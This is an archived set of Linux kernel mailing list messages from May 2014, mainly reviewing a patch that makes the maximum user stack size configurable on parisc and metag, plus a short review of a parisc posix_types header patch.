 typedef unsigned long long	__kernel_ino64_t;
 
+#ifndef CONFIG_64BIT
+typedef long	__kernel_time_t;
+#define __kernel_time_t __kernel_time_t
+
+typedef long	__kernel_clock_t;
+#define __kernel_clock_t __kernel_clock_t
+#endif
+
 #include <asm-generic/posix_types.h>
 
 #endif
-- 
1.8.2.1


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.kernel.metag,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Tue, 13 May 2014 12:18:47 +0100
Lines: 210
Approved: news@gmane.org
Message-ID: <5371FF97.7030205@imgtec.com>
References: <20140430212602.GA20601@p100.fritz.box>		 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>	 <5363876A.2030709@imgtec.com> <1399042116.2202.1.camel@dabdike> <5365EC05.5080900@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1399979940 10295 80.91.229.3 (13 May 2014 11:19:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2014 11:19:00 +0000 (UTC)
Cc: <linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"John David Anglin" <dave.anglin-CzeTG9NwML0@public.gmane.org>,
	<linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
To: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>,
	James Bottomley <James.Bottomley-d9PhHud1JfjCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>
Original-X-From: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Tue May 13 13:18:53 2014
Return-path: <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1WkAjU-0003Eg-Jn
	for glkm-linux-metag-wOFGN7rlS/M9smdsby/KFg@public.gmane.org; Tue, 13 May 2014 13:18:52 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1753925AbaEMLSw (ORCPT <rfc822;glkm-linux-metag@m.gmane.org>);
	Tue, 13 May 2014 07:18:52 -0400
Original-Received: from mailapp01.imgtec.com ([195.59.15.196]:36958 "EHLO
	mailapp01.imgtec.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752985AbaEMLSv (ORCPT
	<rfc822;linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>);
	Tue, 13 May 2014 07:18:51 -0400
Original-Received: from KLMAIL01.kl.imgtec.org (unknown [192.168.5.35])
	by Websense Email Security Gateway with ESMTPS id 9EA9B488D74C8;
	Tue, 13 May 2014 12:18:45 +0100 (IST)
Original-Received: from LEMAIL01.le.imgtec.org (192.168.152.62) by
 KLMAIL01.kl.imgtec.org (192.168.5.35) with Microsoft SMTP Server (TLS) id
 14.3.181.6; Tue, 13 May 2014 12:18:47 +0100
Original-Received: from [192.168.154.101] (192.168.154.101) by LEMAIL01.le.imgtec.org
 (192.168.152.62) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 13 May
 2014 12:18:47 +0100
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5365EC05.5080900-Mmb7MZpHnFY@public.gmane.org>
X-Enigmail-Version: 1.6
X-Originating-IP: [192.168.154.101]
Original-Sender: linux-metag-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-metag.vger.kernel.org>
X-Mailing-List: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.metag:197 gmane.linux.kernel:1702561 gmane.linux.ports.parisc:5787
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.metag/197>

Hi Helge,

On 04/05/14 08:28, Helge Deller wrote:
> On 05/02/2014 04:48 PM, James Bottomley wrote:
>> On Fri, 2014-05-02 at 12:54 +0100, James Hogan wrote:
>>> On 01/05/14 18:50, James Bottomley wrote:
>>>>
>>>>> +
>>>>> +config MAX_STACK_SIZE_MB
>>>>> +	int "Maximum user stack size (MB)"
>>>>> +	default 80
>>>>> +	range 8 256 if METAG
>>>>> +	range 8 2048
>>>>> +	depends on STACK_GROWSUP
>>>>> +	help
>>>>> +	  This is the maximum stack size in Megabytes in the VM layout of user
>>>>> +	  processes when the stack grows upwards (currently only on parisc and
>>>>> +	  metag arch). The stack will be located at the highest memory address
>>>>> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
>>>>> +	  to a smaller value in which case that is used.
>>>>> +
>>>>> +	  A sane initial value is 80 MB.
>>>>
>>>> There's one final issue with this: placement of the stack only really
>>>> matters on 32 bits.  We have three expanding memory areas: stack, heap
>>>> and maps.  On 64 bits these are placed well separated from each other on
>>>> 64 bits, so an artificial limit like this doesn't matter.
>>>
>>> Does the following fixup diff look reasonable? It forces
>>> MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
>>> effectively leaving the behaviour unchanged in that case.
>>>
>>> diff --git a/mm/Kconfig b/mm/Kconfig
>>> index e80075979530..b0307f737bd7 100644
>>> --- a/mm/Kconfig
>>> +++ b/mm/Kconfig
>>> @@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
>>>  	bool
>>>
>>>  config MAX_STACK_SIZE_MB
>>> -	int "Maximum user stack size (MB)"
>>> +	int "Maximum user stack size (MB)" if !64BIT
>>> +	default 1024 if 64BIT
>>>  	default 80
>>>  	range 8 256 if METAG
>>>  	range 8 2048
>>
>> Yes, I think that's probably correct ... 
> 
> No, it's not correct.
> It will then choose then a 1GB stack for compat tasks on 64bit kernel.

Sorry for the delay (I had most of last week off sick and still catching
up).

That's a good point. It makes me think the best way to handle it is in a
new definition in asm/processor.h, maybe STACK_SIZE_MAX. Does something
like this look better? This patch isn't getting any cleaner
unfortunately.


>From 6ecb0392a3b670c4bf1641a6ec56f22427ca8b57 Mon Sep 17 00:00:00 2001
From: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Date: Wed, 30 Apr 2014 23:26:02 +0200
Subject: [PATCH 1/1] parisc,metag: Do not hardcode maximum userspace stack
 size

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB for 32-bit processes, but make it configurable
via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memoy layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size configurable and uses 80MB as default
value which has been in use during the last few years on parisc and
which didn't showed any problems yet.

This also fixes a BUG on metag if the RLIMIT_STACK hard limit is
increased beyond a safe value by root. E.g. when starting a process
after running "ulimit -H -s unlimited" it will then attempt to use a
stack size of the maximum 1GB which is far too big for metag's limited
user virtual address space (stack_top is usually 0x3ffff000):
BUG: failure at fs/exec.c:589/shift_arg_pages()!

Signed-off-by: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Signed-off-by: James Hogan <james.hogan-1AXoQHu6uovQT0dZR+AlfA@public.gmane.org>
Cc: linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Cc: John David Anglin <dave.anglin-CzeTG9NwML0@public.gmane.org>
Cc: stable-u79uwXL29TY76Z2rM5mHXA@public.gmane.org # only needed for >= v3.9 (arch/metag)
---
v3 (James Hogan):
 - fix so that 64-bit parisc processes still use the 1GB limit.
   CONFIG_STACK_GROWSUP arches should provide a STACK_SIZE_MAX in their
   asm/processor.h, and for parisc it depends on USER_WIDE_MODE (whether
   the current process is 64-bit).
v2 (James Hogan):
 - updated description to mention BUG on metag.
 - added custom range limit for METAG.
 - moved Kconfig symbol to mm/Kconfig and reworded.
 - fixed "matag" typo.
---
 arch/metag/include/asm/processor.h  |  2 ++
 arch/parisc/include/asm/processor.h |  5 +++++
 arch/parisc/kernel/sys_parisc.c     |  6 +++---
 fs/exec.c                           |  6 +++---
 mm/Kconfig                          | 15 +++++++++++++++
 5 files changed, 28 insertions(+), 6 deletions(-)

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index f16477d1f571..a8a37477c66e 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -22,6 +22,8 @@
 /* Add an extra page of padding at the top of the stack for the guard page. */
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
+/* Maximum virtual space for stack */
+#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)

 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 198a86feb574..d951c9681ab3 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,6 +55,11 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE

+/* Allow bigger stacks for 64-bit processes */
+#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
+			 ? (1 << 30)	/* 1 GB */			\
+			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
+
 #endif

 #ifndef __ASSEMBLY__
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 31ffa9b55322..e1ffea2f9a0b 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;

-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;

 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/fs/exec.c b/fs/exec.c
index 476f3ebf437e..238b7aa26f68 100644
--- a/fs/exec.c
+++ b/fs/exec.c
@@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
 	unsigned long rlim_stack;

 #ifdef CONFIG_STACK_GROWSUP
-	/* Limit stack size to 1GB */
+	/* Limit stack size */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;

 	/* Make sure we didn't let the argument array grow too large. */
 	if (vma->vm_end - vma->vm_start > stack_base)
diff --git a/mm/Kconfig b/mm/Kconfig
index ebe5880c29d6..1b5a95f0fa01 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -581,3 +581,18 @@ config PGTABLE_MAPPING

 config GENERIC_EARLY_IOREMAP
 	bool
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size for 32-bit processes (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP && (!64BIT || COMPAT)
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
+	  user processes when the stack grows upwards (currently only on parisc
+	  and metag arch). The stack will be located at the highest memory
+	  address minus the given value, unless the RLIMIT_STACK hard limit is
+	  changed to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.
-- 
1.9.3

--
To unsubscribe from this list: send the line "unsubscribe linux-metag" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Tue, 13 May 2014 21:45:14 +0200
Lines: 225
Approved: news@gmane.org
Message-ID: <5372764A.2060906@gmx.de>
References: <20140430212602.GA20601@p100.fritz.box>		 <53622DBA.807@imgtec.com> <1398966636.2174.21.camel@dabdike>	 <5363876A.2030709@imgtec.com> <1399042116.2202.1.camel@dabdike> <5365EC05.5080900@gmx.de> <5371FF97.7030205@imgtec.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400010341 13342 80.91.229.3 (13 May 2014 19:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2014 19:45:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	John David Anglin <dave.anglin@bell.net>,
	linux-metag@vger.kernel.org
To: James Hogan <james.hogan@imgtec.com>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue May 13 21:45:33 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WkIdp-0007Dk-42
	for glpp-linux-parisc@plane.gmane.org; Tue, 13 May 2014 21:45:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754627AbaEMTpY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 13 May 2014 15:45:24 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52595 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752759AbaEMTpT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 13 May 2014 15:45:19 -0400
Original-Received: from [192.168.178.60] ([84.173.37.48]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MVsUW-1WHacO29MG-00X2q2; Tue, 13 May 2014 21:45:16
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <5371FF97.7030205@imgtec.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:/zYX4oQ7jDUGhnsCGpMzXZiJgB6EXjhri7DVK94paqj60bgvBNO
 dnniWnaqlYqstrGO+F3gKG3otY0hbU9Rh9Py8kC8TWq++3Z2utWJ+sMsF6+ILAt0go/MPAY
 zCvi5X+CAJVeg0TDrEgOGD2xkEfz1oUYeGYtew4SQGZViGgXyPf2LSc8H3CrAiEubjIIhTT
 2Eae0DRolTrdiwthfdwqw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5788 gmane.linux.kernel:1703006 gmane.linux.kernel.metag:198
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5788>

Hi James,

On 05/13/2014 01:18 PM, James Hogan wrote:
> On 04/05/14 08:28, Helge Deller wrote:
>> On 05/02/2014 04:48 PM, James Bottomley wrote:
>>> On Fri, 2014-05-02 at 12:54 +0100, James Hogan wrote:
>>>> On 01/05/14 18:50, James Bottomley wrote:
>>>>>
>>>>>> +config MAX_STACK_SIZE_MB
>>>>>> +	int "Maximum user stack size (MB)"
>>>>>> +	default 80
>>>>>> +	range 8 256 if METAG
>>>>>> +	range 8 2048
>>>>>> +	depends on STACK_GROWSUP
>>>>>> +	help
>>>>>> +	  This is the maximum stack size in Megabytes in the VM layout of user
>>>>>> +	  processes when the stack grows upwards (currently only on parisc and
>>>>>> +	  metag arch). The stack will be located at the highest memory address
>>>>>> +	  minus the given value, unless the RLIMIT_STACK hard limit is changed
>>>>>> +	  to a smaller value in which case that is used.
>>>>>> +
>>>>>> +	  A sane initial value is 80 MB.
>>>>>
>>>>> There's one final issue with this: placement of the stack only really
>>>>> matters on 32 bits.  We have three expanding memory areas: stack, heap
>>>>> and maps.  On 64 bits these are placed well separated from each other on
>>>>> 64 bits, so an artificial limit like this doesn't matter.
>>>>
>>>> Does the following fixup diff look reasonable? It forces
>>>> MAX_STACK_SIZE_MB to 1024 and hides the Kconfig option for 64BIT,
>>>> effectively leaving the behaviour unchanged in that case.
>>>>
>>>> diff --git a/mm/Kconfig b/mm/Kconfig
>>>> index e80075979530..b0307f737bd7 100644
>>>> --- a/mm/Kconfig
>>>> +++ b/mm/Kconfig
>>>> @@ -583,7 +583,8 @@ config GENERIC_EARLY_IOREMAP
>>>>  	bool
>>>>
>>>>  config MAX_STACK_SIZE_MB
>>>> -	int "Maximum user stack size (MB)"
>>>> +	int "Maximum user stack size (MB)" if !64BIT
>>>> +	default 1024 if 64BIT
>>>>  	default 80
>>>>  	range 8 256 if METAG
>>>>  	range 8 2048
>>>
>>> Yes, I think that's probably correct ... 
>>
>> No, it's not correct.
>> It will then choose then a 1GB stack for compat tasks on 64bit kernel.
> 
> Sorry for the delay (I had most of last week off sick and still catching
> up).

No problem.
 
> That's a good point. It makes me think the best way to handle it is in a
> new definition in asm/processor.h, maybe STACK_SIZE_MAX. Does something
> like this look better? This patch isn't getting any cleaner
> unfortunately.


Yes, it's correct now.
Just tested it. Thanks!

Another problem:
I think you wanted to get it backported into older kernels?
It seems the changes to mm/Kconfig will not apply cleanly to 3.14 or lower,
and the changes to arch/parisc/kernel/sys_parisc.c will not apply to 3.13 or lower...

Maybe cleaning up the patch to apply cleanly to 3.14 would make sense
and ignore older kernels?

Helge


> From 6ecb0392a3b670c4bf1641a6ec56f22427ca8b57 Mon Sep 17 00:00:00 2001
> From: Helge Deller <deller@gmx.de>
> Date: Wed, 30 Apr 2014 23:26:02 +0200
> Subject: [PATCH 1/1] parisc,metag: Do not hardcode maximum userspace stack
>  size
> 
> This patch affects only architectures where the stack grows upwards
> (currently parisc and metag only). On those do not hardcode the maximum
> initial stack size to 1GB for 32-bit processes, but make it configurable
> via a config option.
> 
> The main problem with the hardcoded stack size is, that we have two
> memory regions which grow upwards: stack and heap. To keep most of the
> memory available for heap in a flexmap memoy layout, it makes no sense
> to hard allocate up to 1GB of the memory for stack which can't be used
> as heap then.
> 
> This patch makes the stack size configurable and uses 80MB as default
> value which has been in use during the last few years on parisc and
> which didn't showed any problems yet.
> 
> This also fixes a BUG on metag if the RLIMIT_STACK hard limit is
> increased beyond a safe value by root. E.g. when starting a process
> after running "ulimit -H -s unlimited" it will then attempt to use a
> stack size of the maximum 1GB which is far too big for metag's limited
> user virtual address space (stack_top is usually 0x3ffff000):
> BUG: failure at fs/exec.c:589/shift_arg_pages()!
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
> Signed-off-by: James Hogan <james.hogan@imgtec.com>
> Cc: linux-parisc@vger.kernel.org
> Cc: linux-metag@vger.kernel.org
> Cc: John David Anglin <dave.anglin@bell.net>
> Cc: stable@vger.kernel.org # only needed for >= v3.9 (arch/metag)
> ---
> v3 (James Hogan):
>  - fix so that 64-bit parisc processes still use the 1GB limit.
>    CONFIG_STACK_GROWSUP arches should provide a STACK_SIZE_MAX in their
>    asm/processor.h, and for parisc it depends on USER_WIDE_MODE (whether
>    the current process is 64-bit).
> v2 (James Hogan):
>  - updated description to mention BUG on metag.
>  - added custom range limit for METAG.
>  - moved Kconfig symbol to mm/Kconfig and reworded.
>  - fixed "matag" typo.
> ---
>  arch/metag/include/asm/processor.h  |  2 ++
>  arch/parisc/include/asm/processor.h |  5 +++++
>  arch/parisc/kernel/sys_parisc.c     |  6 +++---
>  fs/exec.c                           |  6 +++---
>  mm/Kconfig                          | 15 +++++++++++++++
>  5 files changed, 28 insertions(+), 6 deletions(-)
> 
> diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
> index f16477d1f571..a8a37477c66e 100644
> --- a/arch/metag/include/asm/processor.h
> +++ b/arch/metag/include/asm/processor.h
> @@ -22,6 +22,8 @@
>  /* Add an extra page of padding at the top of the stack for the guard page. */
>  #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
>  #define STACK_TOP_MAX	STACK_TOP
> +/* Maximum virtual space for stack */
> +#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
> 
>  /* This decides where the kernel will search for a free chunk of vm
>   * space during mmap's.
> diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
> index 198a86feb574..d951c9681ab3 100644
> --- a/arch/parisc/include/asm/processor.h
> +++ b/arch/parisc/include/asm/processor.h
> @@ -55,6 +55,11 @@
>  #define STACK_TOP	TASK_SIZE
>  #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
> 
> +/* Allow bigger stacks for 64-bit processes */
> +#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
> +			 ? (1 << 30)	/* 1 GB */			\
> +			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
> +
>  #endif
> 
>  #ifndef __ASSEMBLY__
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index 31ffa9b55322..e1ffea2f9a0b 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
>  {
>  	unsigned long stack_base;
> 
> -	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
> +	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
>  	stack_base = rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base = 1 << 30;
> +	if (stack_base > STACK_SIZE_MAX)
> +		stack_base = STACK_SIZE_MAX;
> 
>  	return PAGE_ALIGN(STACK_TOP - stack_base);
>  }
> diff --git a/fs/exec.c b/fs/exec.c
> index 476f3ebf437e..238b7aa26f68 100644
> --- a/fs/exec.c
> +++ b/fs/exec.c
> @@ -657,10 +657,10 @@ int setup_arg_pages(struct linux_binprm *bprm,
>  	unsigned long rlim_stack;
> 
>  #ifdef CONFIG_STACK_GROWSUP
> -	/* Limit stack size to 1GB */
> +	/* Limit stack size */
>  	stack_base = rlimit_max(RLIMIT_STACK);
> -	if (stack_base > (1 << 30))
> -		stack_base = 1 << 30;
> +	if (stack_base > STACK_SIZE_MAX)
> +		stack_base = STACK_SIZE_MAX;
> 
>  	/* Make sure we didn't let the argument array grow too large. */
>  	if (vma->vm_end - vma->vm_start > stack_base)
> diff --git a/mm/Kconfig b/mm/Kconfig
> index ebe5880c29d6..1b5a95f0fa01 100644
> --- a/mm/Kconfig
> +++ b/mm/Kconfig
> @@ -581,3 +581,18 @@ config PGTABLE_MAPPING
> 
>  config GENERIC_EARLY_IOREMAP
>  	bool
> +
> +config MAX_STACK_SIZE_MB
> +	int "Maximum user stack size for 32-bit processes (MB)"
> +	default 80
> +	range 8 256 if METAG
> +	range 8 2048
> +	depends on STACK_GROWSUP && (!64BIT || COMPAT)
> +	help
> +	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
> +	  user processes when the stack grows upwards (currently only on parisc
> +	  and metag arch). The stack will be located at the highest memory
> +	  address minus the given value, unless the RLIMIT_STACK hard limit is
> +	  changed to a smaller value in which case that is used.
> +
> +	  A sane initial value is 80 MB.
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 17/25] parisc: Add 32 bit time_t and clock_t
Date: Tue, 13 May 2014 22:17:44 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <53727DE8.7000105@gmx.de>
References: <1399971456-3941-1-git-send-email-lftan@altera.com> <1399971966-4598-1-git-send-email-lftan@altera.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1400012300 13111 80.91.229.3 (13 May 2014 20:18:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 13 May 2014 20:18:20 +0000 (UTC)
Cc: lftan.linux@gmail.com, cltang@codesourcery.com,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Ley Foon Tan <lftan@altera.com>, linux-arch@vger.kernel.org,
	linux-kernel@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Tue May 13 22:18:13 2014
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1WkJ9P-0001oF-Tp
	for glka-linux-arch@plane.gmane.org; Tue, 13 May 2014 22:18:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751934AbaEMUSI (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 13 May 2014 16:18:08 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:58859 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751145AbaEMUSH (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Tue, 13 May 2014 16:18:07 -0400
Original-Received: from [192.168.178.60] ([84.173.37.48]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0MXmpv-1WGD8P0WjH-00Wl1V; Tue, 13 May 2014 22:17:46
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <1399971966-4598-1-git-send-email-lftan@altera.com>
X-Enigmail-Version: 1.6
X-Provags-ID: V03:K0:s+tcSkS9iZc7r1wr9F+mwEsQ8Vn27Dj4IlV372Mtg2s9CvYdHA2
 BPzgD7xrOyzCvl0V/jhs4Y57AIB/OkOPodSWEaJKpFKTtwcMOJFbZfbKltQXoQf4RY7Vr7k
 UwCKAXZ7ipjsFyEuDlAfcZmpBnh0clH+VtR6S9HvVraoMQ2HXnxWEPYJq3kaIsQtCCtXX7L
 4SufCc6ZvQN/Bc7MCwgMA==
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:22923 gmane.linux.kernel:1703021 gmane.linux.ports.parisc:5789
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/22923>

Hi Ley,

On 05/13/2014 11:06 AM, Ley Foon Tan wrote:
> Override time_t and clock_t in include/uapi/asm-generic.
> 
> Signed-off-by: Ley Foon Tan <lftan@altera.com>
> ---
>  arch/parisc/include/uapi/asm/posix_types.h | 8 ++++++++
>  1 file changed, 8 insertions(+)
> 
> diff --git a/arch/parisc/include/uapi/asm/posix_types.h b/arch/parisc/include/uapi/asm/posix_types.h
> index b934425..21fcf1c 100644
> --- a/arch/parisc/include/uapi/asm/posix_types.h
> +++ b/arch/parisc/include/uapi/asm/posix_types.h
> @@ -19,6 +19,14 @@ typedef int			__kernel_suseconds_t;
>  typedef long long		__kernel_off64_t;
>  typedef unsigned long long	__kernel_ino64_t;
>  
> +#ifndef CONFIG_64BIT

We can't use CONFIG_64BIT for a userspace header file. Please use 
#if !defined(__LP64__)
instead.
But even then I'm not sure if it's all correct...

Helge 

> +typedef long	__kernel_time_t;
> +#define __kernel_time_t __kernel_time_t
> +
> +typedef long	__kernel_clock_t;
> +#define __kernel_clock_t __kernel_clock_t
> +#endif
> +
>  #include <asm-generic/posix_types.h>
>  
>  #endif
> 


From - Thu Nov 08 21:10:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Hogan <james.hogan@imgtec.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.metag
Subject: Re: [PATCH] parisc,metag: Do not hardcode maximum userspace stack
 size
Date: Tue, 13 May 2014 23:52:44 +0100
Lines: 242
Approved: news@gmane.org
Message-ID: <5372A23C.702@imgtec.com>
